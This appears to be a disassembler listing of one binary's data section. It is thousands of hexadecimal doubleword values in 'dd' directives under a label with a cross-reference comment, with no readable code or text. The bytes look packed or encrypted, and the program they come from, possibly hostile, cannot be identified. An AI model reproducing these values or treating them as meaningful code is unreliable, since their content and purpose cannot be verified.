0B7391850h, 56294063h, 40689859h, 0A0E6AAE0h, 51C611C2h dd 8D079F6h, 54009A70h, 0EB4C9159h, 4F520061h, 0FE921144h dd 0F20509B5h, 8A58A7DCh, 1900C7C7h, 1E4FC37Ch, 4A5A517Fh dd 84E817B3h, 881222D9h, 0E9FA0174h, 56ACEC00h, 386114A7h dd 3CE40085h, 6A5F7C68h, 45E84BB9h, 59501F1Bh, 0EE632608h dd 2E279068h, 810BA034h, 80248205h, 3BD01C9h, 0A2D8C0ADh dd 394A5D0Ah, 5083C468h, 13C5387Fh, 0C2EA3CD8h, 540060B8h dd 251220C0h, 8C0956DCh, 58B2802Bh, 2498D8C6h, 0C7B7660Fh dd 1B4E80EFh, 5F2CA1Fh, 75AA9044h, 0FFE00065h, 78679EC1h dd 7A0BCCBAh, 4401D4E8h, 272CB290h, 0CCA00854h, 84895C62h dd 33524019h, 62D60578h, 58D8469Ch, 4C74C2E2h, 9F8B4869h dd 71055882h, 3A3C0C79h, 8D7A841h, 22DACA15h, 0C5322024h dd 0C0CC25D1h, 40AC3CF0h, 588CAAh, 1ECFA120h, 84FFAB18h dd 3F83039h, 0C151BA61h, 0F4540A21h, 6C164480h, 0ECBD261Ch dd 801834DCh, 820FAC20h, 0AAAFE650h, 184E52h, 0E54B6D09h dd 1C70EE32h, 8364239Fh, 8D4D5B3Fh, 0DFE6A800h, 0B5728C97h dd 90F27837h, 0CEB00F3Ch, 4E627B65h, 0B090FC19h, 8D77E420h dd 33128CB2h, 0D4A094AAh, 8FBB1253h, 1AB44760h, 0D2B58449h dd 804C58F8h, 1044D527h, 39FB41Ch, 0A2B74002h, 0C6821A05h dd 0A30D8BE0h, 0DD6E2700h, 5547FC4Eh, 4C187D21h, 0BB8FA846h dd 8160778Ch, 7CFEAA08h, 2D4D0AD8h, 331A028Ch, 2C59BA32h dd 90EDB08h, 1CC64DE2h, 845974B0h, 0B10384DCh, 802A0E2h dd 0F3A87E1Bh, 6B60800Bh, 787A0B9Ch, 59B0B482h, 17380179h dd 40081074h, 7C9C515Dh, 3225DC24h, 2008C47Ch, 1D0FAAB0h dd 4CE4719Fh, 1E2D024h, 0C6BBB43Dh, 0E0D0A8DEh, 0E318B725h dd 4B308474h, 0FF960A11h, 1035B5h, 48B77BB8h, 9427433Bh dd 35941852h, 1F2380EAh, 20647CA1h, 0B0B8E81Ch, 5CEC7124h dd 221093Fh, 0EF4E84Fh, 1656809Ah, 775FF30Eh, 0CDEE40A8h dd 0B09D9539h, 63040108h, 114DB0FDh, 4E8C4049h, 0AA00910Fh dd 328BCE84h, 88C7C8h, 2D2348ABh, 855C51EDh, 22B8CFh, 0D54AEAE2h dd 1B252EAAh, 74DD4000h, 0A825121Ch, 624C051Eh, 0B0909485h dd 3BF2F050h, 0A5B0BA97h, 1F6559D0h, 0B44D3C5Eh, 0C01410D6h dd 22F9B4D7h, 78C2AA6Ch, 0F8814888h, 400D8049h, 2CD08EBAh dd 642078FCh, 0E532003Ah, 44C5617Dh, 6F094DA7h, 8A393F38h dd 6E80CCFFh, 53174C90h, 4D34F8Ch, 81D84A38h, 0E9627C40h dd 14C07828h, 0E98F46Fh, 6102A232h, 98DA3949h, 30717880h dd 0B0DD2C2h, 41E732Ch, 47FBC602h, 8778E006h, 0F0FF22E4h dd 0A4B31322h, 3306E63Ch, 181D4F1h, 514F20F6h, 68904434h dd 900F593Ah, 9B1C2040h, 0CDB193Bh, 109270E4h, 0B0A4A4A7h dd 8E6F16CCh, 4EFCC8D7h, 3039E284h, 20606504h, 28F0B3FCh dd 1FA4AF54h, 0D8A1887Ch, 0EAC9F010h, 0A2A73CB1h, 264798Ch dd 0E87E6289h, 107E1A1Fh, 5701C1E9h, 3B242EF4h, 58D9E0A9h dd 0E05571F1h, 84985468h, 0BE384A02h, 0C45FAAD2h, 1D4A1CCh dd 62818441h, 6D5E488Ch, 60883970h, 494B7892h, 582F889Bh dd 0F55EAC98h, 1F834980h, 808E66FCh, 0FBE57C29h, 5D1E5404h dd 0BD14A0D1h, 6A8B1608h, 0AC515C00h, 2898757h, 3978F642h dd 1CE8807Bh, 61C4A8DDh, 0F4872337h, 7BCE0630h, 0AACF04BEh dd 0E2D81495h, 3C49058Ch, 248D6766h, 842C17E9h, 88C17289h dd 34188051h, 32BCF758h, 0B8D53FC6h, 2723038Eh, 60992EC6h dd 5B530D20h, 8CA01355h, 54BC5814h, 0F4787D40h, 5B633D1Dh dd 1048E04Dh, 0FBE0E409h, 5F88F0DCh, 2CA12D20h, 0E29E86AAh dd 4CB4A0F2h, 618BA362h, 42E249E4h, 217C83CCh, 0AA40094Dh dd 0A400B272h, 3186BF7Bh, 0D459E807h, 0FC2723BCh, 50A4E441h dd 84147C24h, 0CA78C095h, 565D0E76h, 598EFFBEh, 45EA6280h dd 6A2029B6h, 0AABCA985h, 166896C3h, 44C87E63h, 1F61DF14h dd 518409h, 0D1E4B934h, 4920D2F1h, 0A0525320h, 0C4C02CA2h dd 0E95B8BAh, 56B905A0h, 0C84D2CF3h, 33FE8400h, 7C2A617Fh dd 0D3BFB70Bh, 9948824Ch, 0C362011Eh, 27B43420h, 1C27C25Fh dd 6CB44B85h dword_4E414C dd 0BB7081ECh, 851727C0h, 3882BA90h, 82CA040Fh, 0DA0958B4h ; DATA XREF: ___:off_43A188o dd 824D1230h, 2014B3FBh, 17DC9E58h, 53642284h, 64ECE1h dd 48B5D5C9h, 4501D40Eh, 61AD038Ah, 9782F8D8h, 748B60B3h dd 0C2F09210h, 40F0CCFCh, 4018134h, 2BE44AEh, 472A37E4h dd 217E12BCh, 70325588h, 303E83D3h, 0D522031Ch, 0D0401177h dd 0B4C420CAh, 4D411C0h, 9B5299F8h, 0AB2CE8ECh, 8D588394h dd 60D7CCFEh, 51CEEE0Ch, 9C4EA606h, 17107B4Ah, 0CC52E3C0h dd 574F7000h, 812ED421h, 0F1CCF864h, 0FC58292Ah, 7D00ADFBh dd 0ED4E3D40h, 1E36F62h, 56BBE12Fh, 641B07A3h, 0C72CAA50h dd 0A7902CFDh, 6182608Bh, 68DCCBBBh, 74008E1Ch, 0E403713Ah dd 270BC42h, 0FB66323Ch, 4302DCD9h, 0C02F9830h, 0C26703F4h dd 0E672F3D8h, 5BBA4960h, 0DC326D5Eh, 0C94607BEh, 0A101ACA3h dd 9FF97000h, 0B63EE352h, 3ECD60EDh, 62CE4745h, 7BD97C0Eh dd 87934121h, 0C0640BAAh, 0C4A7255Eh, 0B200DC64h, 4044ABC9h dd 3203B5h, 0FA212C2h, 0B733E318h, 3B744174h, 58B97B00h dd 39D6657Eh, 0B2F9404Fh, 8474C548h, 0A3049466h, 8A209235h dd 0F75294A0h, 489056F9h, 5BC7044h, 828CD84Bh, 261CE79Fh dd 588004E1h, 0A8C088Bh, 4AE4185Bh, 132420E9h, 3234A690h dd 90801054h, 3E382F6Fh, 0EA18109Ch, 0B60F89FCh, 740281F4h dd 0D43C5248h, 0BC4AB25h, 217C008Ch, 12F2CB47h, 0BCA0ED32h dd 2E2301DDh, 0B67E62CCh, 38AC5F0h, 0BB0BCFDBh, 9941B8D7h dd 0DEAEE4D0h, 19100090h, 0AA09FB11h, 3C590F50h, 0BCEC5292h dd 7D644B4Ah, 0BDE3B821h, 0A2742027h, 0EC20365Fh, 10C7DB04h dd 4B0BBE35h, 0CAA8C0Bh, 4C7B10CDh, 0F2C8ECE3h, 9CB0A065h dd 20826BFDh, 80709032h, 2209D89Eh, 0BDE8181Eh, 0DC5E4CA7h dd 0C8515017h, 224E388h, 0C18A605Fh, 0BB629C1Ah, 2E605CCAh dd 264A444h, 0F8514D4Fh, 22D9C51h, 363EA8F4h, 0EF89F8B6h dd 0A2B86950h, 29480915h, 2307E47Ah, 7C1CF390h, 0A8060AE0h dd 0F2921D93h, 1C6EE2h, 24E74BB5h, 2E500DE4h, 3A01D2ACh dd 5394CB7Ah, 4882450Ch, 99126306h, 0B6007CC6h, 57D9BF8Fh dd 79C76A52h, 0FEFB0054h, 2A0676B7h, 8A12D72Ch, 4CC760AAh dd 0A08EE3B3h, 65A7BACBh, 0F246A02Dh, 4C5D3A9Ch, 0D8E40870h dd 29BB04E2h, 9464A0AFh, 8E419DF8h, 25D27087h, 5CE08B65h dd 0FD13A911h, 4EBB40E3h, 6F000968h, 22F6ABA6h, 53C8390Eh dd 0BBB2E0E2h, 950ABCBAh, 7F534814h, 0B0AA39B4h, 0E949B812h dd 0E6EBB865h, 5D603039h, 0BAC1E130h, 48C22CE0h, 9198BBFh dd 178FC4C8h, 0E23F20h, 31E6CB7Eh, 0E41C0C83h, 0C8A98231h dd 58E432EFh, 0AC593E5Ch, 2C843325h, 7C6C807Bh, 451678E1h dd 38139EDDh, 1608EC10h, 3070655Ah, 471B806h, 0A321A7A2h dd 805CB93Ah, 0CF17AA3Bh, 0B9B22CE6h, 2C4B10D4h, 9308ECD8h dd 311B0272h, 2862BC32h, 38E27854h, 0C8384107h, 0BA6903D2h dd 48DE7F8Bh, 37656C07h, 0F0208432h, 50CF9093h, 16C8D422h dd 1B53D21h, 0E3D97E6Ch, 8E97DF0Ah, 9CADA1C1h, 0B911873Eh dd 5DE04DB0h, 0B81B0D73h, 35D0FB10h, 6A40108Dh, 31A3E15h dd 0F539E8BAh, 84079B80h, 0BE2E08ADh, 82E42664h, 0E62C6308h dd 173CB471h, 2861FBBEh, 0BB00C1B2h, 6CB2AE1Dh, 0E3DAA2Fh dd 0BC12D2E0h, 7087B071h, 9ECF0ACh, 6C2380D8h, 68C1D5E7h dd 0C210A507h, 0FE1C61D0h, 79BB4C00h, 7160A769h, 0BE7B897Ch dd 65109C71h, 4EA0FC97h, 614EE422h, 0B600BDECh, 88251764h dd 0D4B860E8h, 97D68156h, 1075DC41h, 6D07076h, 30BADECAh dd 0A0003855h, 57A6E432h, 9A37F4Bh, 807E1A1Ch, 0D17AA884h dd 3A9D4AA0h, 0B7BF9871h, 1520322Fh, 0E906C051h, 58A0E34Dh dd 2A269473h, 98503640h, 0DCE054A0h, 0C86D692Dh, 3CFE41F0h dd 835B5021h, 15E128FCh, 8F10400Bh, 76222AD2h, 7054007Bh dd 573BFA5Eh, 595048AAh, 2FE34AB4h, 8C04C35h, 0CB1933AAh dd 0CA25820h, 9856707Dh, 7C0BD84h, 0BA1058E8h, 0D1ED1FBFh dd 0A401E540h, 0FA7B1931h, 6DAA2508h, 0D07E9406h, 934D4DF0h dd 3C0513F8h, 174C9C00h, 1D44C785h, 7F3B2FEh, 37548C59h dd 31004F51h, 52503976h, 6615C004h, 7486D455h, 7B621FA8h dd 5F8FCC67h, 0F002FEC0h, 0E41A6582h, 2504541Dh, 44F87430h dd 405F59h, 51FFAC53h, 0C0E8FA39h, 0DDF51920h, 6312872Eh dd 8430BDE7h, 59CF44Bh, 11246AE2h, 0CD8C806Ch, 495041AAh dd 0D93A2694h, 45CE1289h, 68A47404h, 0C0AFFA07h, 36BAD369h dd 7C02309Eh, 595420AAh, 4E486D0h, 0EB017071h, 779CB465h dd 58748EE1h, 0C11A71AAh, 0CE3C5730h, 78906352h, 675B0709h dd 4D88605Fh, 14520739h, 0D3C0D57Ch, 838B5493h, 878D56C0h dd 0D34918C0h, 0A04E35F3h, 0C080B008h, 0D1FD8308h, 0F33ADF6Dh dd 93D206C1h, 1401B6Bh, 507E81F5h, 0F0D112F1h, 59C163BAh dd 10524A8Fh, 83ECDD4h, 262BA287h, 0E3AB840Fh, 37A3B19h dd 0A2167B61h, 1001141Ch, 7CF170B4h, 6DC46097h, 5E1E18A7h dd 0FFDC0845h, 86014B78h, 40F66CD5h, 0D6F07EB8h, 63C0F0B1h dd 0D9FD1030h, 7CF9B13Ah, 685A8830h, 6BE8C2h, 0B9F62E0h dd 6F029A04h, 3E166D06h, 1F8973Ch, 8860AFC2h, 8376E2A2h dd 0EF93D490h, 2CD80058h, 3E80A73Dh, 30C3D6F0h, 0C1A40C12h dd 118025A0h, 56839704h, 0A6E63173h, 0CA2ACB0Fh, 18BF806Ch dd 1864535Eh, 30E11A3Eh, 99140C1Ch, 9EBC8C56h, 20D1C688h dd 791F8A4h, 0AC164B68h, 3A48589h, 0C9FDDD08h, 2E3CE018h dd 2A5822F8h, 0F8D487A5h, 48EB6193h, 0E04D3DF9h, 10C7910Bh dd 0A780601Eh, 5211812Ch, 930CF488h, 5E7868FBh, 0B904AC15h dd 50A42844h, 0AF646C10h, 8136C21Fh, 143E5195h, 0C92080C3h dd 85555C6Fh, 2F9318B1h, 0A28240E9h, 2AEB0F20h, 72CC004h dd 2236A487h, 3E29A04Bh, 850E7392h, 0DD1EA22Ch, 0F53DB800h dd 18C39D97h, 0A1284A14h, 0C51CA775h, 25C112EAh, 53DEB7E6h dd 0C8417FCh, 77623EB9h, 8C011648h, 6C028DBBh, 8850D043h dd 1F064D12h, 0C15F158h, 0CC188589h, 9DBFF8h, 1E0265DFh dd 67E088h, 0DA2F2D7Ch, 4461F750h, 8A55240Eh, 0BF06208Eh dd 226FC54h, 3EB80B65h, 8481F8AEh, 0FA806CCCh, 0C4F15C41h dd 0D4F10C6Dh, 3450C5A2h, 0AC03A484h, 716B8A8Fh, 93EBA0E6h dd 0F388CAC4h, 7CAC2AECh, 0B6863311h, 480AD119h, 0C8F8849Ch dd 8CC5DD4Eh, 0E4203A1Ch, 13257Fh, 70D23C10h, 4A96CFA7h dd 76C4FC90h, 91857Eh, 1BD211F9h, 0B24B15C0h, 877AA8C0h dd 61B93E60h, 862168DFh, 0B4002450h, 0EE2CA640h, 934A28A2h dd 0EC0251D4h, 0DBE312E0h, 0CBC1C128h, 10BF03h, 0A75AB2C2h dd 615B3E6Ah, 44CA58F7h, 819A81FDh, 99BCBD21h, 488FC424h dd 8E86B860h, 897C90C8h, 4D6D08C3h, 24284883h, 8E074448h dd 0D0917BD3h, 0DD6248Bh, 255638C6h, 69D50008h, 0A28D2C48h dd 90C109B3h, 0B093EC3Dh, 4A616831h, 0FC888C00h, 0BF400B1h dd 612CD114h, 0E306C72h, 0F7CDF08Dh, 93CC0C65h, 8A80697Ch dd 80006FEEh, 30A75D5Eh, 0A441CA8Fh, 702928A8h, 594A1454h dd 9444ECF1h, 927099D0h, 6B87829h, 0C4F16806h, 286960A7h dd 302C39FBh, 9818BFC2h, 3E12820Ch, 7C017A0Eh, 8D8047CCh dd 0C9F95048h, 7C070C38h, 27663321h, 12FBE0E0h, 0A57FF203h dd 0FCD91E88h, 0F3D59CC0h dd 45CA2433h, 0C1136410h, 4B11B24h, 98022090h, 0A889DFD1h dd 8D4E044Ch, 8080527Eh, 0EB013E50h, 0C1518C6h, 62C213D0h dd 0E958202Eh, 8500EB6Dh, 25AFE3F2h, 9AB056h, 0CE647469h dd 0F79724FBh, 6C20C0FBh, 0F8836020h, 0DD0A1D18h, 2376C7Dh dd 70A23E2Dh, 8E988088h, 0C2FFA316h, 629C0627h, 146AEC60h dd 3395AC80h, 89B8D08Ah, 56BDC111h, 80E1D12h, 0D10DCC84h dd 983720C4h, 786E2B14h, 7258A20Ch, 9310DA18h, 0F612504Bh dd 17844AB9h, 0E42184A8h, 10C0B32h, 0B9EB1C74h, 0FCD98FF4h dd 0BF68373Eh, 609F2050h, 0A72655E6h, 9B8DF449h, 7881F85Dh dd 0AD93BBBCh, 40A0707Ah, 0A4E83258h, 350B5CC1h, 0E4B38B02h dd 80B3A4E7h, 8E89DE78h, 4B36FF18h, 0C94ABD28h, 5001C4D1h dd 359BCE3Eh, 86284068h, 5F042FF2h, 0AB7646E7h, 0C110C2h dd 0B30CEB14h, 0E880549Ah, 823793D3h, 21C150DDh, 1DD06753h dd 64F54CE5h, 49D71C50h, 0CA0A082Fh, 0C507A6Fh, 0A5D146E5h dd 386C1A84h, 0A8442078h, 0B7B838C4h, 0A77D14C0h, 6F802C93h dd 0FB10B7D4h, 0D8308427h, 0FDBD2802h, 0A9C4AFFh, 0E14040B0h dd 3A43D6Dh, 14A19CDBh, 48097074h, 0A5E0943Eh, 0A0234754h dd 0D4EBE12Ah, 28F9452h, 14B006B6h, 10928FBh, 889FB17Dh dd 0DA0BF0C0h, 0BD1490C9h, 58F892D7h, 28046854h, 0C21F8151h dd 1607B048h, 80808844h, 95D646Dh, 1F60A22Ah, 0F110B0A2h dd 3DEDC840h, 0ECB3B878h, 3887C409h, 493D6C58h, 0FC48E4EAh dd 0EF3D400h, 8E5CCEC2h, 8888C450h, 2A00CC90h, 20AEDA6Fh dd 1C71CAB9h, 0C92DFCEFh, 0C08087Bh, 5C30692Ch, 0C8C25554h dd 48C673BDh, 83EAF08Ch, 0D69493B0h, 7B2BD80h, 13D18CC8h dd 3ACBC3C9h, 0A29F180Fh, 28529619h, 0D1D42C11h, 94417AE8h dd 584D8427h, 48C08210h, 884A00C4h, 17FB90EEh, 0B78F03A3h dd 0EDBEA2FEh, 94449003h, 8B4B7AC5h, 3C42A30Dh, 0AA26A09h dd 6940027Ch, 93510DC0h, 23701D9Ch, 17F9C0F8h, 3193D14Dh dd 6D283C23h, 0C1DBF009h, 24454A02h, 620AB9FEh, 7F14B008h dd 0F43024Eh, 81A1162Bh, 15230C1h, 14312179h, 80781824h dd 1C92816Ch, 0F08F1E26h, 9CF03E84h, 0F895D494h, 822A3C80h dd 78EF3821h, 0BBE00F80h, 9F444F3Ah, 48CAD700h, 0D2D831CDh dd 163F00F3h, 9324A276h, 0EC5CA8EBh, 0D03DE38h, 3ADB43C2h dd 932E8BC0h, 2CE422D5h, 63D8FAE7h, 0A024DA66h, 0CD00483Ah dd 0FC46B78Eh, 75E0003Ch, 87A815A5h, 4E0034BCh, 0C1E58D03h dd 4861937Fh, 891E78A6h, 0D7F3812Dh, 209F1EA2h, 0F8DE0A04h dd 84A83C1Fh, 7BB70300h, 0FD1D48C9h, 0FCDC01A4h, 0CAD1B340h dd 2E42F027h, 6C259CF8h, 0C4FC0202h, 0F650482Bh, 939F0C10h dd 8E1011C7h, 45572115h, 0F7CC40B0h, 0C06C8148h, 2067325Dh dd 46BC48D6h, 0FC6B0277h, 0BD893E56h, 60E57C69h, 0DB0F74A0h dd 396241Eh, 0E01BB33Fh, 0F008E4C2h, 2F020153h, 0AE161ED9h dd 8E56D082h, 7C2BBA3Bh, 0B0744079h, 0B3A7760Ch, 3A5006h dd 0D61EEA04h, 0BB93E0A1h, 19B11760h, 787B00Bh, 5D2C65C1h dd 3EBD80B9h, 85796E2Ah, 19080891h, 55650005h, 0A9210D54h dd 0C2244948h, 5348AFA2h, 218C83C8h, 29486C63h, 0ADF40EB0h dd 641F0F3Dh, 0B0B32216h, 5700444Ch, 0C0B2B4DBh, 0EF20935Ch dd 4CE201E9h, 0C2F0F6C6h, 9AC87041h, 0D21F6C18h, 2E267368h dd 0BE48D817h, 5A721812h, 0A0885838h, 874830ACh, 35B84CA2h dd 0A484B80Bh, 80140490h, 3E882057h, 0FE80A3C3h, 902E859h dd 0B391AB13h, 1D85D0A0h, 2F60FB6Ch, 1B34F3C0h, 8AFD0039h dd 24EAE8F4h, 0FB021199h, 2CB273Fh, 767C608Dh, 0F81F908Fh dd 0C8D00314h, 564ADD0Fh, 6208F840h, 8F234E03h, 9411A2h dd 0DCC6D5A8h, 0FE728E19h, 0FBDDBC00h, 0B4D1FA40h, 382117CAh dd 0A2003147h, 0E5CC53D4h, 30F0D0BEh, 44CA8E16h, 41DFD831h dd 0B08C8845h, 0B0F1EE4Ah, 17E08CB4h, 1F7B886h, 9E6C1258h dd 7BF0823Eh, 6EAFC43Dh, 93DD09DCh, 34C8039Dh, 0A00686Ch dd 0E7910467h, 0F852753Bh, 313A90A4h, 0B918771Eh, 0BD7FF80Fh dd 0A4F1162Ch, 6C148160h, 0CC4DF5B7h, 0DB2C5032h, 600A8FF8h dd 0D4804109h, 992EA249h, 7C0198A2h, 0F08D30D3h, 0D68069DCh dd 3A8C2E93h, 0CC80526Ch, 0AB03C5Ch, 0B4D639h, 0C01EB7C5h dd 0F48852h, 7D205B8h, 33EA5A4h, 7026289Ch, 0E58F8023h dd 48A2A223h, 99C8A5EEh, 344070C4h, 0DA216391h, 3D84A168h dd 0C00A4FE8h, 98168C80h, 8468D623h, 3E060828h, 140C5BFh dd 0F1800A2Fh, 9E269021h, 1D125861h, 1C6BE804h, 0D16C2213h dd 0F4B402h, 0E3A2204Bh, 0AF38FF69h, 37D60418h, 62313200h dd 7B7F6C73h, 164284B2h, 0D4521C56h, 0B4DD9309h, 91F6B082h dd 0D8B04850h, 17DE2720h, 400B9E93h, 0E79F409Ch, 0D4A4528Dh dd 50615B30h, 91D84CEBh, 376C86D4h, 260910F0h, 0C174F83Eh dd 6097B2B8h, 0E8CC087Ah, 35B5788h, 0D84F7E8Bh, 0BAB442CFh dd 11FB58E8h, 0C42A494h, 93D30063h, 6D80DFD6h, 409809A8h dd 28887AAAh, 90D034D4h, 43EB20Ch, 0C140CF60h, 60DC9345h dd 0AFB9516Dh, 0FCE188E8h, 81001CFCh, 61D99503h, 9E17937Bh dd 885E19ECh, 1FA422C4h, 0A8ECCC3Eh, 30C421CDh, 557A8Ah dd 0FF0F3C29h, 9AA8401Eh, 7BBB4C16h, 9204A400h, 1E614663h dd 148BD65Dh, 560008BAh, 0D8375FA3h, 2D0FDB71h, 3C1D46Ch dd 0E13C1A9Ch, 0FBE069FEh, 9697033Eh, 494AC393h, 98DE0EA3h dd 0A586FA61h, 0B46019B7h, 3BFB8039h, 0CA80DC94h, 0E6E4A96Dh dd 563E0F9Dh, 4E20378Fh, 8B8AAC1Dh, 0C9F058B8h, 0BBAEF01Fh dd 0FC0E4F96h, 0CD9BC056h, 0E2ACC5B0h, 7B4A008Fh, 0FE740D7Fh dd 94353E25h, 0B8D86012h, 80014109h, 0A9499ED8h, 5C9A443Ah dd 2F0098D4h, 86DB46Ah, 692C6242h, 0D9120427h, 0C5144C20h dd 0BCA8B907h, 8849D612h, 0E10385E0h, 893D96Dh, 891818DCh dd 503CACC0h, 0D8D1602h, 414C87A2h, 586D8818h, 27BC02D2h dd 0C443B6F0h, 482655FAh, 0E4E0010h, 3DDE7EDAh, 0A4606B3Eh dd 935B62E0h, 7096FD80h, 92871EF9h, 843CCD91h, 885CA240h dd 3E814090h, 17D9402Dh, 18091098h, 80617223h, 0FE6B2AACh dd 89840655h, 28DA0B3Eh, 7F76E4B0h, 0CA15380h, 91FB876Dh dd 0F9EC5008h, 80B9E1E3h, 9A93AF10h, 9EE1F1EFh, 3E208020h dd 89A4C6EEh, 0B0920FFEh, 48A31630h, 6EF9427h, 86A2DBFFh dd 0D94AF80Dh, 60979860h, 0F82CF1BDh, 908258C9h, 0F451037Bh dd 0B570EC4Ah, 8CFE80CCh, 3794F8C1h, 0C430215Bh, 0EF2E1874h dd 6155182Dh, 83608212h, 94919800h, 0CF3ACA5h, 0E25FA23Bh dd 0CE3CD160h, 1E5418E6h, 2493D210h, 0BF4AB30h, 382103BDh dd 4498B5A2h, 0E0D0B1BCh, 30C57F89h, 0DC82BF84h, 369CC670h dd 0D940AEC7h, 2B445700h, 91FE1FC8h, 0B7ED0188h, 3C93E80Eh dd 273C23C6h, 0C0C1822h, 84A4909Eh, 0BE020B84h, 70111FD1h dd 0F3DF10DDh, 45A21805h, 9504A0A0h, 1F93604Ch, 0CE0C8A54h dd 0F0DB40FEh, 0FB79F02Dh, 0BD2AE980h, 0F186EDC7h, 3C6C130Ch dd 22C0ACh, 2A25F682h, 18841C67h, 580A70C4h, 7B2C20B6h dd 0C0C48920h, 0E4208C65h, 0AAAB5E2Eh, 0E6627024h, 0C080B0Dh dd 6F340FCh, 0B5098413h, 0E6D0FC3Eh, 7BD92C04h, 841427A4h dd 4EA28888h, 8264775Dh, 0F2F55E6Ch, 24455A38h, 43DC4540h dd 38708D3Fh, 0AB3E0930h dd 43BCA0FDh, 686FA7Bh, 4AC8ADD7h, 80A95942h, 887AE0CCh dd 0F02678B9h, 38B36420h, 1A40C426h, 0C0AEBE6Ch, 12812B90h dd 88A4BB04h, 6C61A8B4h, 7464A5EFh, 206CB80Bh, 2112C992h dd 7C0C7560h, 0DE8F39D9h, 0E0E6DB04h, 6CA221E1h, 62C21E24h dd 0ACC01C13h, 5FDA96D6h, 4A4804FDh, 4AC4E2F7h, 0C1E7000h dd 0B98E569Fh, 88BF9340h, 3E8065ACh, 2FC240FAh, 0C1B39C0h dd 868B569Ah, 0E8269242h, 0C14B02ACh, 3850B26Dh, 50871C24h dd 6C4CA127h, 0F1B7E59Ch, 0DAC761A0h, 22FBE818h, 1EA9BC16h dd 6B0204BBh, 1330925Fh, 91391B10h, 45A993B8h, 0E55560D4h dd 0CE42C30h, 28E74AA2h, 0D89D0044h, 0C5C076CAh, 7B0CD331h dd 0F002182Ah, 5D4890D0h, 2C8E6489h, 2DBAF740h, 76015F8Dh dd 0ECAF56A6h, 0E4415A0Ch, 69D10ABEh, 51BFE0E3h, 2523014h dd 2741A418h, 0B95E3800h, 23EE57DDh, 95090040h, 2480638Ah dd 9C044491h, 4198A2D2h, 50316089h, 88C59060h, 8CBE4CF9h dd 0E1055859h, 0D90020C4h, 0DC407C94h, 0C2212293h, 3EA28128h dd 460C46Ah, 90A47D60h, 0D258A09Ch, 0B3A3166Dh, 4813C9h dd 4F87E5A4h, 0A05EA2E7h, 0BD0CB803h, 8634C184h, 14301083h dd 0A960409Dh, 0CE2C148h, 0D22503AAh, 9262C379h, 0E5575000h dd 3E3F9909h, 7FA4BA70h, 257D7889h, 0EC13B7F1h, 0FB3ADFBh dd 0A80004DBh, 1B065A9Bh, 99F02FBDh, 1E6F9330h, 0AFDB9FDDh dd 52C05802h, 295AA4C1h, 3E0D5E0h, 0F793D71Ah, 7207F78h dd 0E1C73A1Ch, 38BBC006h, 96246C4Ch, 26803857h, 0ECE9AA88h dd 3E7406D0h, 906CBA54h, 25F420C0h, 0D62369A2h, 8B684060h dd 45B4685Dh, 3EAE8406h, 7580D26Ch, 9CD32612h, 2569204h dd 0AD90CFACh, 0DBBF9E0h, 0F28690C0h, 9144E2h, 14DB3954h dd 1F7B67F4h, 0FA1E3892h, 0FECF3818h, 8960A9Fh, 0CFBB3E1Fh dd 34808824h, 6E2BD2h, 0D780D09Ch, 36BB54C0h, 0FBC44D02h dd 69E9681Eh, 7C680488h, 0B7A4EB3Ch, 1D38ACC8h, 38126Ch dd 2F0B4CD8h, 0B72A14DAh, 3C90F45Eh, 44F2CB7Eh, 203EFC00h dd 0C9C7B303h, 30E49864h, 6291AC8Ch, 0DC9118FBh, 826ACC09h dd 5AB7AFB8h, 0CA7A451Ch, 30C7B404h, 54F58FE5h, 1D3E802h dd 0F4EACAFFh, 8AE2017Eh, 82253D06h, 0F51005EDh, 0B794BFF8h dd 5307EDD1h, 0ADB3E38Ah, 0F0286EDh, 825C2535h, 690D1AF4h dd 8051442Ah, 525F551Eh, 0C786D2EAh, 7ED83216h, 5D0E4ECCh dd 252D8A1Eh, 52EF634Dh, 79F867E4h, 557C20F2h, 10ED025Bh dd 9D345F80h, 3BC68C64h, 34289726h, 6186C482h, 881D8806h dd 33FE228h, 398C6958h, 4A94E310h, 6C09BB00h, 55021D1Bh dd 208D68DFh, 4E8394FDh, 6A43509Fh, 64E90C07h, 0ECC72A15h dd 712652E1h, 31EA31C0h, 5532EE2Bh, 54C8FD60h, 34064A48h dd 63218B4h, 24630FEAh, 0B9585716h, 0B8546C5Eh, 0BA8AC30Ch dd 33D600BCh, 0E4C25272h, 0CC008206h, 80196535h, 0C45AD0EAh dd 4A03C663h, 8C1C8D88h, 0A678EB9h, 0EA9DE105h, 9E8FDCDAh dd 2960B3BFh, 87E7822Eh, 2C56451Dh, 0E6FC781h, 0C831910h dd 281E7BC5h, 164DF7E0h, 0EFF54750h, 1F5EBA0Ch, 0ABB0C7Fh dd 8A75CD13h, 0AB2D15D9h, 0F8565B0Ch, 7EB85EBCh, 80C0DD03h dd 0D5702AD6h, 0A70ADC56h, 51C2D4E4h, 20687B9h, 0E014EAC1h dd 8C030A22h, 0BA69250Dh, 0D62F9694h, 5201E1E6h, 2350C058h dd 0B5406FD7h, 640D4FE3h, 159092C9h, 4EC89E51h, 525D003Ah dd 1574F4BAh, 0CF322300h, 0E7EA565Ah, 5920CE0Dh, 89C905CAh dd 43307D2Ah, 0B8031F56h, 19EA6069h, 66A855ECh, 0C2E8E6CDh dd 0EF39C916h, 9B5204h, 0EE8168B6h, 7966C927h, 8A9F941Bh dd 901929BBh, 15949FEDh, 0D5BC0299h, 4075EF04h, 0A0406802h dd 50F844FEh, 0F3FEA5D4h, 0DBC785C2h, 0FFC7D603h, 2A058834h dd 0E8B0A3D7h, 3309FE0Bh, 8C5F08EAh, 49F07E55h, 133BFCE8h dd 53646980h, 317DB819h, 0FFECF63Ah, 0C7CA83C6h, 0B05AF089h dd 4851F4F8h, 0AF4593EAh, 0C042D5D8h, 1BB6EBCFh, 70ED404Ah dd 65067E51h, 0E3F8EA74h, 6A8BEA50h, 92100ADBh, 6D822752h dd 0FE7EBBA0h, 0EA570D50h, 5ECA21EEh, 0F8BC9167h, 946913C7h dd 0A66FAF2Ah, 0D5F10CAFh, 538F085Eh, 7CF8EDE6h, 653D5BD0h dd 3681693Ah, 8F53715Ah, 8225005Fh, 9A7648F0h, 0F8482A38h dd 408413Ch, 30332615h, 6E06D701h, 1B0EEA6Bh, 0FB2E1687h dd 823EF45Eh, 5E657ECFh, 0F10C841Bh, 1E354615h, 4ED44F6h dd 7069FAF8h, 0E86B9341h, 6057D694h, 4B5B3B00h, 845AC902h dd 5146C4E9h, 7E690310h, 0AF6AAF36h, 984A4852h, 0F981C01Fh dd 5C674C2Dh, 59C3890Eh, 29A36381h, 8CE515D1h, 69C3A715h dd 5D4158C2h, 82E2CCD6h, 13844DF5h, 